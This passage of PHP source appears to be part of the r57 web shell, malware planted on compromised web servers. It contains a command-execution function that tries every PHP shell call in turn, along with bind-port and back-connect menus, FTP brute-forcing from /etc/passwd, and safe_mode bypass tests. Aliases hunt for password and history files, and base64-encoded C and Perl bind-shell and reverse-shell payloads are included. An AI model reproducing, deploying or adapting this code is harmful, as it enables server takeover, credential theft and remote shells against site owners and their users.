size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; } echo "</table>"; } break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; } } } } } echo "<br><form name=form method=POST>"; echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cmd',0,'db_query'); echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['delete'])) { @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); } if(isset($_GET['tmp'])) { @unlink("/tmp/bdpl"); @unlink("/tmp/back"); @unlink("/tmp/bd"); @unlink("/tmp/bd.c"); @unlink("/tmp/dp"); @unlink("/tmp/dpc"); @unlink("/tmp/dpc.c"); } if(isset($_GET['phpini'])) { echo $head; function U_value($value) { if ($value == '') return '<i>no value</i>'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); } if (@function_exists('ini_get_all')) { $r = ''; echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; foreach (@ini_get_all() as $key=>$value) { $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; } echo $r; echo '</table>'; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['cpu'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; $cpuf = @file("cpuinfo"); if($cpuf) { $c = @sizeof($cpuf); for($i=0;$i<$c;$i++) { $info = @explode(":",$cpuf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; } echo '</table>'; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(isset($_GET['mem'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; $memf = @file("meminfo"); if($memf) { $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(":",$memf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; } echo '</table>'; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } $lang=array( 'ru_text1' =>' ', 'ru_text2' =>' ', 'ru_text3' =>' ', 'ru_text4' =>' ', 'ru_text5' =>' ', 'ru_text6' =>' ', 'ru_text7' =>' ', 'ru_text8' =>' ', 'ru_butt1' =>' ', 'ru_butt2' =>' ', 'ru_text9' =>' /bin/bash', 'ru_text10'=>' ', 'ru_text11'=>' ', 'ru_butt3' =>' ', 'ru_text12'=>'back-connect', 'ru_text13'=>'IP- ', 'ru_text14'=>' ', 'ru_butt4' =>' ', 'ru_text15'=>' ', 'ru_text16'=>' ', 'ru_text17'=>' ', 'ru_text18'=>' ', 'ru_text19'=>'Exploits', 'ru_text20'=>' ', 'ru_text21'=>' ', 'ru_text22'=>'datapipe', 'ru_text23'=>' ', 'ru_text24'=>' ', 'ru_text25'=>' ', 'ru_text26'=>' ', 'ru_butt5' =>' ', 'ru_text28'=>' safe_mode', 'ru_text29'=>' ', 'ru_butt6' =>' ', 'ru_text30'=>' ', 'ru_butt7' =>' ', 'ru_text31'=>' ', 'ru_text32'=>' PHP ', 'ru_text33'=>' open_basedir cURL', 'ru_butt8' =>' ', 'ru_text34'=>' safe_mode include', 'ru_text35'=>' safe_mode mysql', 'ru_text36'=>' . ', 'ru_text37'=>' ', 'ru_text38'=>' ', 'ru_text39'=>' ', 'ru_text40'=>' ', 'ru_butt9' =>' ', 'ru_text41'=>' ', 'ru_text42'=>' ', 'ru_text43'=>' ', 'ru_butt10'=>' ', 'ru_butt11'=>' ', 'ru_text44'=>' ! !', 'ru_text45'=>' ', 'ru_text46'=>' phpinfo()', 'ru_text47'=>' php.ini', 'ru_text48'=>' ', 'ru_text49'=>' ', 'ru_text50'=>' ', 'ru_text51'=>' ', 'ru_text52'=>' ', 'ru_text53'=>' ', 'ru_text54'=>' ', 'ru_butt12'=>' ', 'ru_text55'=>' ', 'ru_text56'=>' ', 'ru_text57'=>' / / ', 'ru_text58'=>' ', 'ru_text59'=>' ', 'ru_text60'=>' ', 'ru_butt13'=>' / ', 'ru_text61'=>' ', 'ru_text62'=>' ', 'ru_text63'=>' ', 'ru_text64'=>' ', 'ru_text65'=>' ', 'ru_text66'=>' ', 'ru_text67'=>'Chown/Chgrp/Chmod', 'ru_text68'=>' ', 'ru_text69'=>' 1', 'ru_text70'=>' 2', 'ru_text71'=>" :\r\n- CHOWN - UID ( ) \r\n- CHGRP - GID ( ) \r\n- CHMOD - ( 0777)", 'ru_text72'=>' ', 'ru_text73'=>' ', 'ru_text74'=>' ', 'ru_text75'=>'* ', 'ru_text76'=>' find', 'ru_text80'=>' ', 'ru_text81'=>' ', 'ru_text82'=>' ', 'ru_text83'=>' SQL ', 'ru_text84'=>'SQL ', 'ru_text85'=>' safe_mode MSSQL ', 'ru_text86'=>' ', 'ru_butt14'=>' ', 'ru_text87'=>' ftp- ', 'ru_text88'=>'FTP- : ', 'ru_text89'=>' ftp ', 'ru_text90'=>' ', 'ru_text91'=>' ', 'ru_text92'=>' ', 'ru_text93'=>'FTP', 'ru_text94'=>'FTP- ', 'ru_text95'=>' ', 'ru_text96'=>' ', 'ru_text97'=>' : ', 'ru_text98'=>' : ', 'ru_text99'=>'* /etc/passwd', 'ru_text100'=>' ', 'ru_text101'=>' (user -> resu) ', 'ru_text102'=>' ', 'ru_text103'=>' ', 'ru_text104'=>' ', 'ru_text105'=>' ', 'ru_text106'=>' ', 'ru_text107'=>' ', 'ru_butt15'=>' ', 'ru_text108'=>' ', 'ru_text109'=>' ', 'ru_text110'=>' ', 'ru_text111'=>'SQL- : ', 'ru_text112'=>' safe_mode mb_send_mail', 'ru_text113'=>' safe_mode, imap_list', 'ru_text114'=>' safe_mode, imap_body', /* --------------------------------------------------------------- */ 'eng_text1' =>'Executed command', 'eng_text2' =>'Execute command on server', 'eng_text3' =>'Run command', 'eng_text4' =>'Work directory', 'eng_text5' =>'Upload files on server', 'eng_text6' =>'Local file', 'eng_text7' =>'Aliases', 'eng_text8' =>'Select alias', 'eng_butt1' =>'Execute', 'eng_butt2' =>'Upload', 'eng_text9' =>'Bind port to /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Password for access', 'eng_butt3' =>'Bind', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_butt4' =>'Connect', 'eng_text15'=>'Upload files from remote server', 'eng_text16'=>'With', 'eng_text17'=>'Remote file', 'eng_text18'=>'Local file', 'eng_text19'=>'Exploits', 'eng_text20'=>'Use', 'eng_text21'=>'&nbsp;New name', 'eng_text22'=>'datapipe', 'eng_text23'=>'Local port', 'eng_text24'=>'Remote host', 'eng_text25'=>'Remote port', 'eng_text26'=>'Use', 'eng_butt5' =>'Run', 'eng_text28'=>'Work in safe_mode', 'eng_text29'=>'ACCESS DENIED', 'eng_butt6' =>'Change', 'eng_text30'=>'Cat file', 'eng_butt7' =>'Show', 'eng_text31'=>'File not found', 'eng_text32'=>'Eval PHP code', 'eng_text33'=>'Test bypass open_basedir with cURL functions', 'eng_butt8' =>'Test', 'eng_text34'=>'Test bypass safe_mode with include function', 'eng_text35'=>'Test bypass safe_mode with load file in mysql', 'eng_text36'=>'Database . Table', 'eng_text37'=>'Login', 'eng_text38'=>'Password', 'eng_text39'=>'Database', 'eng_text40'=>'Dump database table', 'eng_butt9' =>'Dump', 'eng_text41'=>'Save dump in file', 'eng_text42'=>'Edit files', 'eng_text43'=>'File for edit', 'eng_butt10'=>'Save', 'eng_text44'=>'Can\'t edit file! Only read access!', 'eng_text45'=>'File saved', 'eng_text46'=>'Show phpinfo()', 'eng_text47'=>'Show variables from php.ini', 'eng_text48'=>'Delete temp files', 'eng_butt11'=>'Edit file', 'eng_text49'=>'Delete script from server', 'eng_text50'=>'View cpu info', 'eng_text51'=>'View memory info', 'eng_text52'=>'Find text', 'eng_text53'=>'In dirs', 'eng_text54'=>'Find text in files', 'eng_butt12'=>'Find', 'eng_text55'=>'Only in files', 'eng_text56'=>'Nothing :(', 'eng_text57'=>'Create/Delete File/Dir', 'eng_text58'=>'name', 'eng_text59'=>'file', 'eng_text60'=>'dir', 'eng_butt13'=>'Create/Delete', 'eng_text61'=>'File created', 'eng_text62'=>'Dir created', 'eng_text63'=>'File deleted', 'eng_text64'=>'Dir deleted', 'eng_text65'=>'Create', 'eng_text66'=>'Delete', 'eng_text67'=>'Chown/Chgrp/Chmod', 'eng_text68'=>'Command', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72'=>'Text for find', 'eng_text73'=>'Find in folder', 'eng_text74'=>'Find in files', 'eng_text75'=>'* you can use regexp', 'eng_text76'=>'Search text in files via find', 'eng_text80'=>'Type', 'eng_text81'=>'Net', 'eng_text82'=>'Databases', 'eng_text83'=>'Run SQL query', 'eng_text84'=>'SQL query', 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86'=>'Download files from server', 'eng_butt14'=>'Download', 'eng_text87'=>'Download files from remote ftp-server', 'eng_text88'=>'FTP-server:port', 'eng_text89'=>'File on ftp', 'eng_text90'=>'Transfer mode', 'eng_text91'=>'Archivation', 'eng_text92'=>'without archivation', 'eng_text93'=>'FTP', 'eng_text94'=>'FTP-bruteforce', 'eng_text95'=>'Users list', 'eng_text96'=>'Can\'t get users list', 'eng_text97'=>'checked: ', 'eng_text98'=>'success: ', 'eng_text99'=>'* use username from /etc/passwd for ftp login and password', 'eng_text100'=>'Send file to remote ftp server', 'eng_text101'=>'Use reverse (user -> resu) login for password', 'eng_text102'=>'Mail', 'eng_text103'=>'Send email', 'eng_text104'=>'Send file to email', 'eng_text105'=>'To', 'eng_text106'=>'From', 'eng_text107'=>'Subj', 'eng_butt15'=>'Send', 'eng_text108'=>'Mail', 'eng_text109'=>'Hide', 'eng_text110'=>'Show', 'eng_text111'=>'SQL-Server : Port', 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', ); $aliases=array( 'find suid files'=>'find / -type f -perm -04000 -ls', 'find suid files in current dir'=>'find . -type f -perm -04000 -ls', 'find sgid files'=>'find / -type f -perm -02000 -ls', 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', 'find config.inc.php files'=>'find / -type f -name config.inc.php', 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', 'find config* files'=>'find / -type f -name "config*"', 'find config* files in current dir'=>'find . -type f -name "config*"', 'find all writable files'=>'find / -type f -perm -2 -ls', 'find all writable files in current dir'=>'find . -type f -perm -2 -ls', 'find all writable directories'=>'find / -type d -perm -2 -ls', 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', 'find all writable directories and files'=>'find / -perm -2 -ls', 'find all writable directories and files in current dir'=>'find . -perm -2 -ls', 'find all service.pwd files'=>'find / -type f -name service.pwd', 'find service.pwd files in current dir'=>'find . -type f -name service.pwd', 'find all .htpasswd files'=>'find / -type f -name .htpasswd', 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', 'find all .bash_history files'=>'find / -type f -name .bash_history', 'find .bash_history files in current dir'=>'find . -type f -name .bash_history', 'find all .mysql_history files'=>'find / -type f -name .mysql_history', 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', 'list file attributes on a Linux second extended file system'=>'lsattr -va', 'show opened ports'=>'netstat -an | grep -i listen', '----------------------------------------------------------------------------------------------------'=>'ls -la' ); $table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; $table_up2 = " ::</div></b></font></td></tr><tr><td>"; $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; $table_end1 = "</td></tr>"; $arrow = " <font face=Wingdings color=gray> </font>"; $lb = "<font color=black>[</font>"; $rb = "<font color=black>]</font>"; $font = "<font face=Verdana size=-2>"; $ts = "<table class=table1 width=100% align=center>"; $te = "</table>"; $fs = "<form name=form method=POST>"; $fe = "</form>"; if(isset($_GET['users'])) { if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } else { echo '<center>'; foreach($users as $user) { echo $user."<br>"; } echo '</center>'; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } $dir = @getcwd(); $windows = 0; $unix = 0; if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; if(empty($dir)) { $os = getenv('OS'); if(empty($os)){ $os = php_uname(); } if(empty($os)){ $os ="-"; $unix=1; } else { if(@eregi("^win",$os)) { $windows = 1; } else { $unix = 1; } } } if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") { echo $head; if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } $sr->SearchText(0,0); $res = $sr->GetResultFiles(); $found = $sr->GetMatchesCount(); $titles = $sr->GetTitles(); $r = ""; if($found > 0) { $r .= "<TABLE width=100%>"; foreach($res as $file=>$v) { $r .= "<TR>"; $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); $r .= ($windows)? str_replace("/","\\",$file) : $file; $r .= "</b></font></ TD>"; $r .= "</TR>"; foreach($v as $a=>$b) { $r .= "<TR>"; $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; $r .= "</TR>\n"; } } $r .= "</TABLE>"; echo $r; } else { echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } function ws($i) { return @str_repeat("&nbsp;",$i); } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function get_users() { $users = array(); $rows=file('/etc/passwd'); if(!$rows) return 0; foreach ($rows as $string) { $user = @explode(":",$string); if(substr($string,0,1)!='#') array_push($users,$user[0]); } return $users; } function we($i) { if($GLOBALS['language']=="ru"){ $text = ' ! '; } else { $text = "[-] ERROR! Can't write in file "; } echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; return null; } function re($i) { if($GLOBALS['language']=="ru"){ $text = ' ! '; } else { $text = "[-] ERROR! Can't read file "; } echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; return null; } function ce($i) { if($GLOBALS['language']=="ru"){ $text = " "; } else { $text = "Can't create "; } echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; return null; } function fe($l,$n) { $text['ru'] = array(' ftp ',' ftp ',' ftp '); $text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; return null; } function mr($l,$n) { $text['ru'] = array(' ',' '); $text['eng'] = array('Can\'t send mail','Mail sent'); echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; return null; } function perms($mode) { if ($GLOBALS['windows']) return 0; if( $mode & 0x1000 ) { $type='p'; } else if( $mode & 0x2000 ) { $type='c'; } else if( $mode & 0x4000 ) { $type='d'; } else if( $mode & 0x6000 ) { $type='b'; } else if( $mode & 0x8000 ) { $type='-'; } else if( $mode & 0xA000 ) { $type='l'; } else if( $mode & 0xC000 ) { $type='s'; } else $type='u'; $owner["read"] = ($mode & 00400) ? 'r' : '-'; $owner["write"] = ($mode & 00200) ? 'w' : '-'; $owner["execute"] = ($mode & 00100) ? 'x' : '-'; $group["read"] = ($mode & 00040) ? 'r' : '-'; $group["write"] = ($mode & 00020) ? 'w' : '-'; $group["execute"] = ($mode & 00010) ? 'x' : '-'; $world["read"] = ($mode & 00004) ? 'r' : '-'; $world["write"] = ($mode & 00002) ? 'w' : '-'; $world["execute"] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); return trim($s); } function in($type,$name,$size,$value) { $ret = "<input type=".$type." name=".$name." "; if($size != 0) { $ret .= "size=".$size." "; } $ret .= "value=\"".$value."\">"; return $ret; } function which($pr) { $path = ex("which $pr"); if(!empty($path)) { return $path; } else { return $pr; } } function cf($fname,$text) { $w_file=@fopen($fname,"w") or we($fname); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function sr($l,$t1,$t2) { return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; } if (!@function_exists("view_size")) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} else {$size = $size . " B";} return $size; } } function DirFilesR($dir,$types='') { $files = Array(); if(($handle = @opendir($dir))) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); else { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if($types) { if(@in_array($ext,explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } class SearchResult { var $text; var $FilesToSearch; var $ResultFiles; var $FilesTotal; var $MatchesCount; var $FileMatschesCount; var $TimeStart; var $TimeTotal; var $titles; function SearchResult($dir,$text,$filter='') { $dirs = @explode(";",$dir); $this->FilesToSearch = Array(); for($a=0;$a<count($dirs);$a++) $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); $this->text = $text; $this->FilesTotal = @count($this->FilesToSearch); $this->TimeStart = getmicrotime(); $this->MatchesCount = 0; $this->ResultFiles = Array(); $this->FileMatchesCount = Array(); $this->titles = Array(); } function GetFilesTotal() { return $this->FilesTotal; } function GetTitles() { return $this->titles; } function GetTimeTotal() { return $this->TimeTotal; } function GetMatchesCount() { return $this->MatchesCount; } function GetFileMatchesCount() { return $this->FileMatchesCount; } function GetResultFiles() { return $this->ResultFiles; } function SearchText($phrase=0,$case=0) { $qq = @explode(' ',$this->text); $delim = '|'; if($phrase) foreach($qq as $k=>$v) $qq[$k] = '\b'.$v.'\b'; $words = '('.@implode($delim,$qq).')'; $pattern = "/".$words."/"; if(!$case) $pattern .= 'i'; foreach($this->FilesToSearch as $k=>$filename) { $this->FileMatchesCount[$filename] = 0; $FileStrings = @file($filename) or @next; for($a=0;$a<@count($FileStrings);$a++) { $count = 0; $CurString = $FileStrings[$a]; $CurString = @Trim($CurString); $CurString = @strip_tags($CurString); $aa = ''; if(($count = @preg_match_all($pattern,$CurString,$aa))) { $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); $this->ResultFiles[$filename][$a+1] = $CurString; $this->MatchesCount += $count; $this->FileMatchesCount[$filename] += $count; } } } $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); } } function getmicrotime() { list($usec,$sec) = @explode(" ",@microtime()); return ((float)$usec + (float)$sec); } $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N lIENPTk47DQpleGl0IDA7DQp9DQp9"; $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 